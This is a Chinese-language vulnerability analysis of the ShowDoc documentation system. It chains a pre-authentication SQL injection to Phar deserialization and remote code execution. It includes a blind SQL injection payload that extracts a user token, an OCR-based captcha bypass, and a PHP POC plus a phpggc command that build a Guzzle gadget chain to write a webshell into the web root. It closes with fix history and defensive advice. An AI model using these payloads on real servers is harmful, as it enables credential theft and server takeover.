ShowDoc SQL注入+反序列化漏洞分析
字数 1452 2025-08-24 23:51:09
ShowDoc SQL注入+反序列化漏洞分析教学文档
漏洞概述
ShowDoc文档系统存在两个关键漏洞组合:
- 前台SQL注入漏洞:攻击者可利用该漏洞获取用户token
- 后台反序列化漏洞:结合获取的token可写入WebShell,最终获取服务器权限
这两个漏洞组合形成了完整的攻击链,危害严重。
第一部分:SQL注入漏洞分析
1. ShowDoc传参机制
ShowDoc基于ThinkPHP框架开发,使用I()函数处理参数输入:
$uid = I("uid/d"); // 强制转为int
$item_domain = I("item_domain/s"); // 强制转为string
$refer_url = I('refer_url'); // 强制转为string
I()函数会对参数进行类型转换:
/d:强制转为整数/s:强制转为字符串- 无修饰符:默认转为字符串
2. SQL执行方式分析
ShowDoc中主要有两种SQL执行方式:
方式1(存在风险):
$item = D("Item")->where("item_id = '$item_id' ")->find();
- 直接拼接SQL语句
- 参数未经过预编译处理
方式2(安全):
$member = D("User")->where(" username = '%s' ", array($value))->find();
- 使用占位符和参数数组
- 参数会经过
escapeString处理(SQLite中单引号转义为双引号)
3. 权限鉴定机制
权限鉴定通过checkLogin方法实现:
- 存在session:正常返回
- 无session:进行权限鉴定
- 通过:正常返回
- 不通过:根据
redirect参数决定是否退出
无需鉴权的三种情况:
- 路由函数中没有
checkLogin() - 路由函数中使用
checkLogin(false) - 目标代码在
checkLogin()执行之前
4. SQL注入点定位条件
寻找有效注入点需满足:
- 权限鉴定为
checkLogin(false)或未执行checkLogin() - 参数传入为
I("xxx/s")或I("xxx")(字符串类型) - 参数直接拼接放入
where方法
5. 实际注入点分析
在ItemController.class.php中找到注入点:
$password = I("password");
$item = D("Item")->where("item_id = '$item_id' ")->find();
if ($password && $item['password'] == $password) {
// 成功逻辑
} else {
// 失败逻辑
}
利用方式:
- 构造联合查询,将布尔盲注结果放在Item表的password字段
- 通过判断逻辑差异实现盲注
Payload示例:
1') union select 1,2,3,4,5,substr((select token from user_token where uid=1),1,1)='x',7,8,9,10,11,12--
6. 验证码绕过技术
注入点需要验证码校验,可通过OCR技术绕过:
- 使用本地OCR服务(如ddddocr)
- 使用OCR API服务(如ocr_api_server)
优化方案:
- 预先生成大量验证码并识别
- 建立captcha_id与captcha的映射表
- 注入时直接使用预存的验证码
第二部分:反序列化漏洞分析
1. 反序列化触发点
在IndexController.class.php中的fopen调用可触发SSRF:
private function getRemoteFile($url, $timeout = 10) {
$opts = array(
'http'=>array(
'method'=>"GET",
'timeout'=>$timeout,
)
);
$context = stream_context_create($opts);
return fopen($url, 'rb', false, $context);
}
利用Phar协议结合SSRF触发反序列化。
2. 文件上传路径获取
文件上传后通过sign参数访问:
/server/index.php?s=/api/attachment/visitFile&sign=9be3419f8e11aa97e21b21669fea3885
响应中会暴露实际文件路径。
3. 反序列化利用链
使用guzzlehttp组件的FileCookieJar类:
class FileCookieJar extends CookieJar {
private $filename;
public function __destruct() {
$this->save($this->filename);
}
public function save($filename) {
// 将$cookie内容写入$filename
file_put_contents($filename, $jsonStr, LOCK_EX);
}
}
利用链构造:
- 创建恶意的
SetCookie对象 - 通过
CookieJar设置cookie - 通过
FileCookieJar指定写入路径
4. 漏洞利用POC
手动构造POC:
<?php
namespace GuzzleHttp\Cookie {
class SetCookie {
private $data = ['poc' => '<?php echo \'success\';?>'];
}
class CookieJar {
private $cookies = [new SetCookie()];
}
class FileCookieJar extends CookieJar {
private $filename = "/var/www/html/Public/Uploads/shell.php";
}
}
namespace {
$payload = new GuzzleHttp\Cookie\FileCookieJar();
$phar = new Phar('phar.phar');
$phar->setMetadata($payload);
$phar->setStub('GIF89a<?php __HALT_COMPILER();?>');
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
使用phpggc工具:
./phpggc Guzzle/FW1 "/var/www/html/Public/Uploads/shell.php" ./shell.php -p phar -pp ./gif -o out.png
漏洞修复情况
- 初始修复(3.2.5版本):仅修复了SSRF漏洞
- 完整修复(后续版本):修复了SQL注入漏洞
防御建议
- 对所有用户输入进行严格过滤和类型检查
- 使用预编译语句而非字符串拼接
- 限制文件上传路径和类型
- 禁用不必要的协议(如phar)
- 及时更新到最新版本
总结
该漏洞组合展示了从SQL注入到反序列化RCE的完整攻击链,强调了:
- 输入验证的重要性
- 最小权限原则的必要性
- 安全开发实践的关键性
- 及时更新的必要性